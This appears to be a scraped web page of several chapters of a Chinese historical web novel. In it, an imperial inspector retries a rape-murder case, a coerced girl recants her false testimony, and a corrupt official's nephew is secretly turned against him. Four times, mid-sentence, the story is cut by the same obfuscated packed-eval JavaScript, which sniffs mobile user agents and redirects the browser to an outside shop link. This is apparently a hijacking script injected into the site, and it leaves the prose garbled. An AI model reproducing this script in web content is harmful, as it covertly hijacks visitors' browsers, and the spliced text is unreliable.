只是她的状态实在糟糕,黎书意和林静仪进屋时见她呆呆地枯坐着,双眼空洞,像是一尊泥塑。 也难怪她会如此,自己的小女儿都没站在她那一边,她能有多绝望可想而知。 “任大娘,是我们。”林静仪轻轻唤了她一声。 听见呼唤,任氏呆滞地抬起头,定定看着她们,半晌,她忽然哭了出来,口内争辩道:“我没有撒谎,我从没有要过什么高额聘礼,更位讹过那恶霸一分钱。” 她急切地向她们解释,黎书意看得心酸,低声安抚:“我相信你。” “他们怎么可以……”任氏没有收住眼泪,反而哭得越凶了,“她可是晗娘的妹妹,怎么可以说出那样的话来。” “任大娘,你先别激动,案子才开始审理,一切都有转圜的余地。”林静仪安慰道。 “有吗?”任氏看向她们,眼睛里分明不抱半分希望,“连亲人都做了那样的伪证,真的还有机会吗?” 黎书意心中一痛,然后肯定地答她:“有。” “真的?”她的话给了任氏希望,那浑浊的双眼现出一丝亮光。 黎书意点头,旋即分析起来:“看你女儿畏畏缩缩的模样,我估计她可能被警告过,或许我们可以试试从她那里下手。” “淑娘……”任氏不确信地呢喃。 黎书意点头,然后又说:“林伯父为人清正廉洁,定不会放过一个坏人,也不会冤枉一个好人,所以你得先顾好自己。” “谢谢你们。”任氏感激地看着她俩。 “你先好好休息,明日二审时才有精神为自己女儿辩护。” “好。”任氏郑重地点头,眼里重新燃起希望的火焰。 安抚好她,黎书意和林静仪便离开了房间。 站在门外,两人一时都没说话,等疏散了心中压抑的情绪,林静仪侧头望过来,“我们现在就去找那小女孩?” “嗯。”黎书意点头。 任氏一家是黍县人,为方便传唤,那对父女暂时被安排住在附近的客栈里,黎书意向办案人员要了地址,便与林静仪去找人了。 站在客房门口,她抬手敲了敲房门,候了一小会,终于有人前来应门,开门的正是那小女孩,看见她们,她眼里显出担忧与怯懦。 想她应当是知道了自己的身份,黎书意遂单刀直入问道:“你母亲说你那日亲眼看见李缨从你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545687|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家房子里跑出来?” “我……”小女孩支支吾吾,眼神闪躲。 还未听到什么,旁边的门“哗”一下打开了,一个面如涂腊,身穿布衣,脊背佝偻的中年男子走了出来。 刚才小女孩进公堂时,黎书意在旁侧看见过他,他定是任氏的丈夫闵氏无疑了,男子打量了她们一眼,说:“你们似乎是那钦差大人身边的人?” 黎书意还未说话,接着听见他不满地轻哼一声:“两个姑娘瞎掺和什么。” 临了,他扫向自己的女儿,训斥道:“你和她们可不同,你无权无势,所以少做白日梦。” 小女孩闻言将头低下,放在门框上的手动了动,想要关门。 见势不妙,黎书意赶紧劝道:“听说你姐姐对你很好,你真的能看着她遭受如此大的侮辱而无动于衷?” “少站着说话不腰疼。”中年男子大声吼道,说完,“砰”一下将门关了。 接着,她们这边这扇门也跟着合上了。 尽管料想到不会那么容易就说动,但现实还是打击到了黎书意,她们竟然连门都未能得进。 “这下怎么办?”林静仪看了眼合上的门,问她。 黎书意瞥了眼紧闭的房门,可没打算就此放弃,转而看向旁边的那扇门说:“我们得找他不在的时候。” 为保护证人,兄长派了两名军士随行,她吩咐两人时刻注意父女俩的动静,一旦他们分开就即刻通知她。 事情没办成,两人灰心丧气地离开了。 回到驿馆,林伯父问她们:“怎么样了?” 林静仪摇摇头。 林伯父似乎是预见到了这个结果,表情根本不带变的。 黎书意这才发现不见兄长的身影,便问:“我兄长呢?” “我吩咐他去办事了。”林伯父说。 过了一会,兄长从外面回来,黎书意早等不及想知道他办的是何事。 “怎么样了?”林文正放下茶盏问道。 黎长策回答说:“我让绿沉带上几名军士往东城门而去,并让他们向守城府兵言明出城是为了案子去黍县查访的,最后照例被守军以城外山体垮塌,道路淤泥堆积,无法通行给拒绝了。” 听到这话,黎书意明白过来了,今日的审讯李缨和任氏各执一词,任氏女儿又说了那样的证言,所以林伯父想要实地查访,收集更多相关证据,以便验证和分析,只是结果看起来并不理想。 他们是朝廷亲派来此查御案的,原本只要有印信就该如鱼得水的,然而现实是他们在这里寸步难行,这地方明着在朝廷的管辖之内,可实际上早就自成一派了,难怪皇帝不能容忍。 光这案子就足够棘手的了,要如何瓦解根深蒂固的李氏一族,然后扳倒李振益呢?黎书意的心里忧愁不安。 不利的形势令四人一同陷入了沉默,气氛变得凝重。 片刻后,黎长策打破安静的空气,下决断道:“既然明的不行,那便来暗的,这两日,我手下的卫队通过参与城中的修建工作,已经摸清了内城路线和布防,一会我便从中挑几个轻功好侦查能力强的军士趁黑出城,一面去黍县找寻案件相关人证物证,一面了解社郡真实的情况。” 林文正点头同意了。 黎书意觉得目前确实只能这样了,虽然城中防守严密,但黎家军精兵的能力毋庸置疑,再说外城还有谢烜赫和祈安阁的暗卫们在活动,有他们从旁协助,这一趟应该是没有问题的。 刚说完,突然一军士上前来报:“黎二姑娘,外面有人找您。” 29. 有客 黎书意皱着眉头,她在这里人生地不熟的,能有谁找她,“可知是谁?” 军士回说:“是一个十二三岁的小姑娘。” “是闵淑!”林静仪惊叫出声。 闵淑,黎书意迅速反应过来,心里有种说不出的惊喜,她忙看向林伯父和兄长。 “你们且去见见吧。”林文正说话。 于是二人便去了。 小姑娘被带到了偏厅,黎书意和林静仪进去时她局促不安地看过来。 黎书意并没有马上就入正题,而是问:“你一个人来的?” “嗯。”小姑娘点头,“我爹喝了酒睡着了。” “你找我们是有什么想说的吗?”林静仪道。 小姑娘望着她们,重重点了一下头,然后径自说起来:“那天我的确看见了,快申时时我爹催我回家做饭,我就提前从田里回来了,刚到家门口,碰见李缨神情慌张地从家里跑出来,我觉得奇怪,又担心姐姐,便去了她房间,发现她衣裳不整地躺在床上,脖子上是醒目的红色掐痕,我吓得跌倒在地,反应过来后就急忙往外跑,跑回田里告诉父母了。” 与任氏和她们所说的一样,黎书意注视着小女孩,虽然接下来的话有些伤人,但却是逃不开的关键,于是她询问道:“那你为何说假话?” 小女孩低垂着头,面色微微涨红,怯声说:“这半年来,我娘从县里告到郡里,再从郡告到州,最后都不了了之了,于是我爹便放弃了,我娘与他大吵了一顿,最后甚至都没回家,前几天忽然有人找到家里来,我们才知道我娘竟然去告御状了,我们还未来得及惊讶,那人便拿了沓银票出来,并把我赶了出去,我不知道他和我爹都说了些什么,只知道他走之后爹把我拉到跟前,说姐姐已经没了,这地方再怎么告也无法申冤,不如收了钱好好生活,警告我到时候别乱说话。” 说到这,小姑娘不安地抬起眼瞟她一眼,“我知道这样不对,可是最终我还是听从了,前两次去衙门的情况我还记得,所以我才在堂上说了假话。” “那为什么突然又想通了呢?”林静仪插话问。 “我想起娘看我的眼神,”小女孩说着哭了出来,“而且姐姐对我很好的……” 看着泪眼婆娑的小姑娘,黎书意发现自己没法责怪她,在无能为力的情况下他们只能向前看。 待小姑娘心情平复了,她和林静仪又问了些其他的相关情况,等谈完了,她们送她到门口,然后吩咐一名军士将她安全送回客栈。 接着,她们告知了林伯父与小姑娘交流的内容,剩下的便看明日的二审了。 …… 县衙大堂。 公案之后,林文正正襟危坐,公案旁边,黎长策巍然而立,衙役们手持水火棍分列两旁。 堂下两侧,和昨日一般,站着黎书意、林静仪、李振益、鲁清和其他围观群众,整个公堂一片肃静。 堂中,任氏身着素衣,满脸悲愤,眼神中透露出坚定与不屈,李缨一身华服,神色舒懒,一副云淡风轻的模样。 随着一声惊堂木响,第二场审讯开始了。 林文正目光如炬,扫视了堂下二人一眼,缓声开口:“任氏,你到底有没有向李缨索要过聘礼?” 任氏态度坚决地说:“大人,晗娘与李缨并无任何关系,正如昨日所言,民妇从未向他要过聘礼,他只在晗娘被奸杀后给过下葬费,而民妇也未要,民妇只求大人为小女做主,查明真相,严惩凶手。” “李缨,”林文正的目光转向年轻男人,一字一句问道,“你说你要纳任氏之女为妾,那你们是何时定下的终身,何时商讨的婚事?任氏及其丈夫又是如何向你索要聘礼的?你一一说来。” 李缨嘴角一勾,应对自如道:“回大人,我与晗娘子是去岁十月定的终身,十一月开始商讨婚事,中旬之时,他们夫妻俩说要我付一万两聘礼,才肯答应我俩的亲事,我不愿意,便回绝了。” 林文正微微颔首,接着追问:“那你被索要赔偿又是何时?” 李缨答说:“年前的时候,就是晗娘子死后的第二天,任氏未要钱,是她丈夫要的。” “将任氏丈夫带上堂来。”林文正传话。 片刻的功夫,衙役带进了那个四十岁上下的庄稼汉,他芒履布衣,鸠形鹄面,一副清苦相。 林文正看着老汉问:“你便是原告任氏的丈夫闵氏?” 闵氏点头称是。 “去岁十一月中旬你是否向李缨索要过一万两聘礼?” 闵氏一口答道:“是的,大人,草民确实索要过,草民好不容易将女儿养到十六岁,没有功劳也有苦劳,她要嫁人了,我怎么着也得要些回报吧?” 林文正对此未置一词,只问:“你女儿的死因究竟为何?” 闵氏解释道:“大人,小女是因亲事不顺悲伤过度自杀的,并非妻子所说的是被李缨奸杀而死,她是因为丧女,精神错乱了才说的胡话。” “那你是否在女儿死后索要过赔偿?”林文正冷声道。 “大人,我确实索要过。”闵氏表情理所当然,他看着李缨愤愤道,“毕竟女儿是因他而死的,他该做出补偿。” 老汉话说完,林文正没再急于问话,现场一时陷入沉寂,一股压抑和紧张慢慢聚拢。 在漫长到几乎令人窒息般的静默后,林文正口吻严肃地问:“闵氏,本官再问你一遍,你确定问李缨索要过聘礼?” 闵氏眼神飘了一下,声音发紧地回答说:“是的,大人。” “那这高额聘礼是你一人的意思,还是你们夫妻二人的意思?” “我们俩的意思。” “那为何赔偿金任氏不要?” “这……”闵氏被问愣住,迟疑了一会,然后解释说,“因为女儿死了,她不想要害命钱。” 林文正冷笑一声,肃声道:“闵氏,你确定在十一月中旬索要过一万两聘礼? 闵氏抬手抹了把汗道:“大人,确是十一月中旬,一万两聘礼。” “那赔偿又是何时索要的?金额多少?”林文正继续追问。 闵氏思索片刻后说道:“女儿死后的第二天,要了五千两——” 话音方落,林文正咄咄逼人地问:“你是否在七月收到过三千两?” 闵氏顺口答说:“回大人,不是三千两是一千两。” “那么,你确实在今年七月收到过一千两了?”林文正求证般问道。 随着这极速的问答清晰落地,全场霎时间陷入到寂静之中。 公堂之上,李缨从容的脸变得慌张起来,闵氏怔愣住,任氏则面露喜色,眼中闪烁着希望的光芒。 公堂之外,李振益扼腕叹息,摇头不已,而黎书意与林静仪则欢喜地对视一眼。 “大人,是草民记错了,”片刻后,闵氏意识到自己失言,他抖着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545688|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗓子慌忙找补道,草民刚刚一时慌乱才说错话,草民不曾在今年七月收过什么钱。” “哦?”林文正怀疑地盯着他,“若不曾收过,你怎么连金额都记得这么清楚?” 听见质问,闵氏眼底流露出惊慌,他张大了嘴,半天说不出话来。 “哼!”林文正冷哼一声,然后一拍惊堂木道,“宣任氏的小女儿入堂。” 小女孩走进公堂,扑通一声跪下。 “小姑娘,我再问你,事发当日,你可曾撞见李缨从你姐姐房中出来?” 小女孩闻言不安地咬着唇,两手摩梭着衣角,她先看了眼爹爹,又看了一眼娘亲,然后缓缓点头回道:“是的,我看见了。 “你细细把当时的情况说来。” “当时我从地里回家,刚打开院门,就看见李缨慌里慌张地从姐姐的房间里跑出来,还撞到了我身上,我担心姐姐有事,急忙跑进她房间,然后看见她衣衫不整地躺在床上。”小女孩说着说着哭出来,“我走近细看,发现她眼睛是瞪着的,脖子上有掐痕,我伸手探她的鼻息,什么都没有感觉到。” 她突然的翻供令在场大部分人准备不及,大家一时失去了反应,堂内陷入了凝滞的死寂。 堂上,林文正神色由威转柔,下一刻,他询问的声音终结了死寂:“那你昨日为何说假话?” 小女孩咽了咽口水,止住哭泣,她转头伸出食指指向站在公堂上的李缨和堂侧的李振益道:“大人,我和父亲是受了他们叔侄二人要挟,不得已才作了假证。” 听见如此骇人听闻的内幕,原本应该是喧嚷的时刻,可是看热闹的人群却一反常态地不置一词,寂静的空气中弥漫着让人窒息的紧张感。 “呜呜……”下一刻,堂中响起了任氏的喜极而泣,她脸上露出夙愿得偿的笑容。 闵氏不知是羞愧还是担忧,低垂着头不说话,李缨目眦尽裂,想对小女孩动手,被绿沉三两下给控制住了,李振益紧抿着嘴唇,面色阴沉。 黎书意从每个与案件相关的人脸上扫过,此刻她如释重负,发自内心地笑了。 昨日,小女孩避开她父亲来找她们,询问之下,从她的口中得知闵氏于七日前,也就是七月二十四日收了一千两银子。 就初审的情况来看,李缨的措辞明显是经过指导的,小女孩也被叮嘱过,那么今日闵氏也必然会被叮嘱。 农民脚踏黄土背朝天,他们生活简单,遵纪守法,在公堂这一种庄重肃穆的地方本来就容易紧张,何况这闵氏还收了钱作了伪证,便更是容易心虚和担惊受怕。 在这种情况下,只要稍微来点言语陷阱,便能诈出来,果不其然,在林伯父加快提问速度,又反复提及那些本来没有的假证,这给闵氏带来了压力,打乱了他的思维,于是便顺口说出真话来了。 “叔叔,救我!”堂下,意识到自己即将被定罪,李缨匍匐向前,想要去抓李振益的衣角,却被绿沉给拦住了。 “啪!”堂上,林文正猛地一拍惊堂木,打断了李缨的哀嚎,厉声宣布道:“堂下听判!李缨入室奸杀闵氏,且拒不认罪,罪大恶极,现判斩立决,令择日处斩,并需得赔付闵氏家属五千两以作补偿。” 听见判决,李缨瞪大了双眼,彻底失去了言语,怔忡了片刻,他慌乱转头,目光急切地投向堂侧,如同抓住最后一根救命稻草般,他又开始疯狂地呼喊起来:“叔叔救我!叔叔救我啊!” 30. 策反 公堂右侧,李振益安静地站在一旁,看着侍卫们毫不留情地拖着李缨下堂,目光里写满了挣扎。 他膝下无子,对这侄儿是真当半个亲儿子看待的,可是这人资质平庸,又极其好色,这么多年,不知为此子收拾了多少烂摊子,这回他是真的无能为力了。 微微握紧了拳头,他终究没有失去理智,直到李缨挣扎的身影消失,哭喊的声音远去,也没有迈出那一步。 “李郡守不会怪我吧?” 叹息间,林文正朝他看来,他忙赔笑道:“哪里的话,是他做错了事,理应受罚,可怜我一直蒙在鼓里,无意间竟然做了助纣为虐之事。” 说这话时,他的心思已然转到了别处,这些年他把李缨当继承人培养,这小儿知道他太多的秘密了,如今人落到了别人手上,难保不会将他的秘密说出去,他双眼微微一眯,想着既然保不下来,那便索性舍去了吧。 另一边,任氏已经止住了哭泣,申冤成功,她连声向坐在公案之后的林大人道谢。 小女孩也朝自己的娘亲走去,她为自己昨日说谎之事道歉,母女俩抱作一团。 闵氏则手足无措地立在一旁。 堂上,林文正一拍惊堂木,怒喝道:“闵氏,你收取贿赂,干扰审判,本官罚你上缴贿银收归府库,并受笞刑三十下,然后关押大牢七日,以便反省。” 案子就这么定下,人群渐渐散去。 午后,撰写完判词,林文正和黎长策去了大牢一趟,黎书意和林静仪随同,督促李缨签字画押后,闵氏被他们提到跟前问话。 闵氏跪在地上,战战兢兢地看着面前的两位高官,只见年长的神态平和,气度庄严,年轻的剑眉星目,气宇轩昂,两人身上都透着凛凛正气。 他紧张地咽了咽口水,下一刻听得林大人中气十足的声音:“闵氏,我知你选择息事宁人也是无计可施,只要你诚心悔过,之前的种种我可以既往不咎。” 既往不咎?闵氏不可思议地张大眼睛。 “据任氏所言,你所租赁的土地本就是你的,只是后来卖给了李缨,可有此事?” 土地,闵氏一惊,他原以为两位大人是为了御状才奔波千里,现在看来,查御状是其次,查侵占土地才是真。 瞥了眼做笔录的貌美少女,他暗自叫苦,可怎么就找上自己了呢? 起先,他想着搪塞过去,他一个贫苦百姓,一旦卷入其中,便有生死威胁,可后来仔细一想,他如今状况早就垂危,又妻嫌女厌的。 而且……他捏紧了双拳,当初就是因为水患,他才被迫卖掉土地,从自耕农成为佃农,从此不得不仰人鼻息,连女儿被人欺辱至死了,都只能忍下,这等耻辱他岂会甘心。 如今,他再扫一眼桌边的人,林文正的公正贤明是他这个乡野村夫也有所耳闻的,反正已经走投无路了,不如就信他一回。 忖度良久,他自顾自说起来:“我闵安虽不富裕,但也有良田数亩,维持家中温饱不成问题,可由于前年的洪灾,家中良田被冲毁,粮食全部都没了,不得不将田给买了。” “当年朝廷拨了五万两银子,竟不能解困,须得你买田?”林文正审视地盯着他问道。 闵安知道大人想听什么,他既然已经决定了,此刻便也不再隐瞒,惨然笑了两声,他回说:“社郡天高皇帝远,地方官员中饱私囊,能用到百姓手上的能有多少,尤其李振益,他不仅带头贪污行贿,不根治水患问题,还乘火打劫,让农民为了生计不得不贱卖田地……” 中年男子的话一句句传入黎长策耳中,虽然基本情况他早已从谢烜赫那里了解到了,但为了谨慎和严谨,必须亲耳听到亲眼看见,他看着小妹将这些话记录在册。 想到如今他们像是被装在套子里一样闭目塞听,遂问道:“说说社郡的真实情况吧。” 闵氏点头,“告御状是大事,隔没几日便传到郡里了,地方官吏为应对盘查,自然得做些表面工作,大人们现在所看见的百姓都是李氏一族的人和与李氏蛇鼠一窝的人,那些真正的穷苦百姓早被封锁在外城,不得入内。” 之后,林文正和黎长策继续有目的地往下盘问,他们把那些目前暂时无法从外界得知的情况,透过闵氏之口一一了解过,然后再由黎书意记录在案。 最后,供词写了满满几页,待日头西斜,四人起身离开牢房。 此时,大牢另一端背阴的牢房里,李缨正蜷缩在角落处。 牢里昏暗潮湿,空气中弥漫着乞人身上才有的恶臭,耳边还不时传来老鼠活动时发出的窸窣声,他既厌恶又害怕,心头不断祈祷着叔叔能快些把他从这鬼地方弄出去 忽然,本就昏暗的视野投下了一道阴影,见有人走到牢门前,他急忙抬头,当发现来的正是他的叔叔时,他的双目陡然亮起。 像是抓住了救命稻草,他激动到手脚并用爬至牢门口,然后两只手攀附在粗木上,急切地喊道:“叔叔,救我出去,这里好黑,还有老鼠。” 李振益蹲下身来,他伸出右手穿进栏缝摸了摸侄子的头,温声安抚着:“叔叔一定会救你出去的,只是现在林文正看得严,叔叔不敢贸然行动,等到了合适的时机,我会找个身形相貌与你相似的人代替你,你先委屈在这待上两日。” 牢里的人听了这话高兴极了,忙点头称好。 李振益微微一笑,他抬手示意后面的侍从,侍从见了连忙上前两步,蹲下身把提盒放到地上,然后揭开盖子将白饭、鹿脯、羊肉等几样小菜拿出来。 “牢里饭菜不好,我担心你吃不惯,这是特意吩咐家里厨子做的,以后早晚都会有人走密道来给你送饭。”说着,李振益将盛着鹿脯的小瓷碗拿起,并往栏缝里斜递进去。 看着递到跟前的鹿脯,李缨口内顿生津液,心下一阵感动,大牢里的饭食无肉无菜,甚至还有股馊味,这等粝食他怎可能吃得下去。 早饿得前胸贴后背了,他急忙抬手接下,恨不能一口气吃了,可叔叔一向重礼仪,顾忌着他,李缨只能拼命忍着。 见侄子欣喜地接过小瓷碗,李振益唇角一勾,关切道:“你平时最爱吃鹿脯,多吃点,别饿着。” 牢里的人点头。 “啪嗒啪嗒!” 寂静的过道忽然传来一串脚步声,李振益侧头一看,见地上出现一道影子,猜想是狱卒前来送饭了。 他急忙回头,看着还未动嘴的侄子,心里挣扎起来,原想看着这小儿吃了再走,可他不能让林文正抓住把柄,权衡之下只得匆匆转身,带着侍从往来时走的秘道快速跑去。 李缨目送叔叔离开,直到叔叔的背影消失在视野里了,他才收回视线,他真希望能快些出去,待在这个地方多一刻都是煎熬。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545689|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 低头看着栏外的白米饭和手里的鹿脯,他庆幸地笑了,好在还有叔叔送吃的。 这般想着,他徒手拿起一块鹿脯,从前每天大鱼大肉,这东西不觉得稀奇,今日却仿若山珍海味,轻易勾起了他的馋虫,他张开口欲食。 “你若想死的话,不妨吃吧。” 突兀的声音吓得他手一抖,鹿脯便掉在了杂草上,惋惜地瞥一眼沾了灰尘的鹿脯,他不悦地抬头。 只见眼前站着一名狱卒,却不是午间送饭的那位,想起方才他说的话,心知这人身份有异,便问:“你是谁?” “我是谁你不需要知道,你只需要知道这菜里有毒。” 有毒,李缨闻之惊愕,接着他愤愤然回击:“你凭什么这么说?” 自从父母过世,他便跟着叔叔一起生活,叔叔待他如亲儿子一般,虽然平时十分严厉,但吃穿用度一点没亏待。 “我凭什么这么说?”那人仿若听见了笑话,轻嗤一声,目光转到了鹿脯上。 顺着他的视线李缨疑惑地低下头,发现有只老鼠正在啃那块掉落的鹿脯,正觉得可惜,那老鼠突然不吃了,“啪嗒”一声倒在了草堆上,它四脚朝天拼命地扑腾,“唧唧”叫了几声后,便彻底没了动静。 见此情形,他瞳孔骤然紧缩,意识到这鹿脯是真的有毒,难不成叔叔竟然真的想杀他? “为什么?”他不可置信,自己可是他的亲侄儿啊。 牢门外飘来了回答:“你知道他太多的秘密,如今又在朝廷手上,为了保密他当然要杀了你。” 秘密……叔叔做的许多事他都经手过,确实是知道内幕的,可他不会向外说的。 忽然,他回忆起不少为叔叔办事的人都被他以死人才不会透露秘密给杀人灭口了,现在他和那些人一样了,意识到这一点,他僵在原地,心凉得彻底。 他抬起头来,望着面前的人,这人不会无缘无故救他,多半是对他有所图,刚从鬼门关前走了一遭,他警惕心起,便问:“你找我干嘛?” 牢门外的人回望他,声音起伏无波地指出道:“你现在只有一条路可走,那便是弃暗投明,揭露你叔叔的罪行。” “不不不!”李缨听后连声否定,“叔叔会杀了我的。” “如今你还没说,他便已经动手了。” 李缨很想反驳,可这是事实,默然沉思了一会,他不确信地问:“我犯的可是死罪,你真能救我?” “陛下派林大人来社郡,表面是为了查你犯下的案子,实际是想解决这里的侵地问题。”男人说着略一停顿,瞥向他道,“如果你能替朝廷拔除这里的毒瘤,自然可将功补过。” 李缨脑子飞快转起来,思考着这番话的真实性,奸杀民女不过伤一人而已,可瓦解豪强是造福了一个郡,孰轻孰重一目了然。 “好,我答应你。”想透之后,他同意了。 正待要问他该如何行事,闻男人道:“进来吧。” 接着,就见两名黑衣人从阴影里走出来,他们正合力搬着一个麻布袋,他还未来得及看清,牢门已经被打开。 入牢以后,其中一人解开了麻布袋,这下他看清了里头竟然装着一个人,不由惊骇得后退,再一细看,发现那人与他面容几乎无异。 “带他走。” 正在惊叹,他被强硬地从地上拽起。 31. 坦白 头被面罩遮住,李缨眼前漆黑一团,因不辨方向,两臂又被人扯着,是以他走得踉踉跄跄。 不知走了多久,他被催赶着上了一辆马车,尽管左右都是人,可车里却静得出奇,只听得见“哒哒”的马蹄声。 心似乎也迷失在黑暗里,他感到一种难以言喻的不安,不知道要去哪,又将会面临什么,虽然有诸多疑问,但是却不敢贸然开口,便一直挨着。 良久,马车停了,他被强硬地从车上拽下来,下车之后,又被拖着一路疾行。 这次没有走太久,伴随着木门推开的“吱呀”声,他被推进屋里。 心下正打鼓,头上的面罩被“唰”一下扯掉了,他眨了眨眼,然后小心翼翼地四下打量着,发现这是一座简陋的一进宅院。 手早就被绳索绑住,左右胳膊又被两个身强体壮的男子给钳制着,他根本无法逃脱,甚至来不及好好观察院子,便被带进了正厅。 还未瞧清里头是什么情况,他又被大力地推倒在地,门也“啪”一声关上了,他想破口大骂,忽然忆及自己的处境,到底闭了嘴。 这时,他发现不远处站了一个人,正是先前在牢狱所见的那一个,他便抬起头探究地向那人看去。 牢里光线昏暗,彼时他又急于脱困,因此并未来得及将人细看,眼下再一看,发现这男子生得面如冠玉,唇若涂脂,看样子岁数可能比他还小。 正在偷看之际,少年冷不防朝他瞥过来,那双黑如点漆的眸子散发着阴冷锐利的光芒,令人不敢逼视,他立刻错开了目光。 难不成这伙人不是和林文正一起的?不知现下到底是何情况,他想自己该不会刚出狼穴又入虎口吧…… “笃笃!”神经本就绷得很紧,又闻外面传来敲门声,他的心几乎提到了嗓子眼。 下一刻门被推开了,脚步声逐渐靠近,李缨偷眼看过去,不成想竟意外看见了一个熟面孔,来人是黎长策。 见着他,李缨顿时松了一口气,他原以为自己落在了第三批人手里,现在证明自己的确在朝廷手里,看来朝廷比叔叔以为的要有能耐多了,心下不由庆幸自己的选择。 进屋以后,黎长策先与那少年说了两句话,然后才朝他看来,他立即表衷心道:“黎少将军,只要你能救我,我什么都说。” 黎长策未有言语,只安静地在桌旁坐下,那少年则抬手遣退了手下。 等屋子里只剩下三人,黎长策对他道:“你现在就把李振益如何侵占土地的事详细说来。” “我说我说!”李缨拼命点头,“李氏是前朝世族之一,我祖父这一支在社郡,他死后便由我父亲和叔叔两人共同经营,十年前我父母遭遇劫匪,马车落崖,两人俱亡,从此李家基业便由我叔父一人管理——” “说重点!” 正说着,被黎长策打断了,他吓得抖了一抖,然后继续道:“社郡一直存在着地主侵占农民田地的情况,我叔叔自任黍县主簿之后加大了力度,本地夏季多雨,因此常发生水患,叔叔故意不全力整治,让水患持续发生,这样既可以侵吞百姓田地,又可以贪污赈灾银两,光用了十年就成为这里最大的地主。” “他在这里势力如此庞大,为何会去陵光?” 陵光?李缨听后一愣,有些诧异怎么会突然提到了陵光,后来一想,这群人本就是有备而来,估计早在查叔叔了。 想通以后他忙回道:“当时我也有此疑惑,曾问过他,但他没有详说,只道是为了李氏,吩咐我照管好社郡的事务,并与他保持通信,他在那里待了两年多,后来传出昭王叛乱的事,再后来他因为检举有功,晋升为社郡郡守。” 说完他停下,等待着新的提问,然而却一直无人问,房间里本就安静压抑,眼下空气更是如同凝结了一样,他明显感觉到了一股寒意。 心里不禁揣摩起来,想上座的两位估计是因为叔叔的累累罪行,所以动怒了,由于许多事他都参与了,担忧自己受到牵连,有些不安,便耐不住抬头观察他们的神色。 只见两人面色幽沉,尤其是那不知姓名的俊美少年,他下颌线条紧紧绷着,眉宇间的冷色仿佛能顷刻令大地凝结成冰。 良久,少年开口了,那双幽深冰寒的黑眸盯着他问:“李振益在社郡经营多年,贪污数目巨大,平时又需要打点官员,定然有账本,你可知在何处?” 账本,叔叔为人谨小慎微,每一笔收入和支出都有记录,条目清晰,那是决定性的证据,一旦拿到,叔叔的罪行也便定了。 李缨有些犹豫,后来又一想,要想保住自己的命,必须叔叔死了才行,咽了咽口水,他回道:“在密室里。” 密室,谢烜赫已经查到了,他还潜进去过一回,但是那放账本的地方设有机关,他不敢轻举妄动,今晚他打算再好好探探。 时已三更,夜色苍茫,明月笼罩在薄纱似的浮云之中,四下寂静无声,郡守府院墙边的大树上,一高瘦身影立在横枝上。 谢烜赫垂眸俯视着眼前的院子,这半年来,祈安阁一直在调查李振益,包括人员往来,家中产业,以及日常作息。 阁中暗卫曾报说李振益时常在书房待到深夜,有时甚至还留宿于此,所以他猜测密室多半就在这里,于是刚到社郡的时候,他就亲自来探查过。 依照已经获知的布防,他等待着府中巡逻兵值夜换班,“咔嚓咔嚓!”一队身穿盔甲手持长矛的府兵从廊下走过,最后隐没在夜色里。 见巡逻兵走远了,他罩上黑面巾,脚下一动,从树上跃到屋顶上,然后飞快移动着,几个闪烁最后来到书房。 双足轻盈落地,他趁着四下无人悄悄潜入房中。上次夜访,他已经寻到了密室,它就在书架的背后,只需转动花瓶即可开启。 书架向两侧划开,现出一道门,他穿门而入,先走过一条长廊,再下一段阶梯,然后来到了地下室,里面金银玉器堆积如山,古玩字画不可胜数。 谢烜赫视而不见,他循着上回的足迹,长驱直入进到里间,最后走至正对面的石壁前,石壁上挂着一副长长的山水画挂屏。 谢烜赫撩开挂屏,屏后现出一道石门,石门中央雕镂有五个同心圆环,每个同心圆环上刻有精细的纹案。 前次,他试着以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545690|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光拼凑组合过,发现按不同方向转那些圆环可凑成一副山水图,因不想打草惊蛇,他到底没有轻举妄动,是以那夜到此处便止步了。 现在,他再次站到石门前,已经从李缨口中得知了解开密室的方法,他便抛却那些稀奇古怪的纹路,按照李缨所说,左右转动着不同的圆环。 当他操作完成,圆形石盘自然转动,最后石门出现一条裂缝,再慢慢往两边划开。 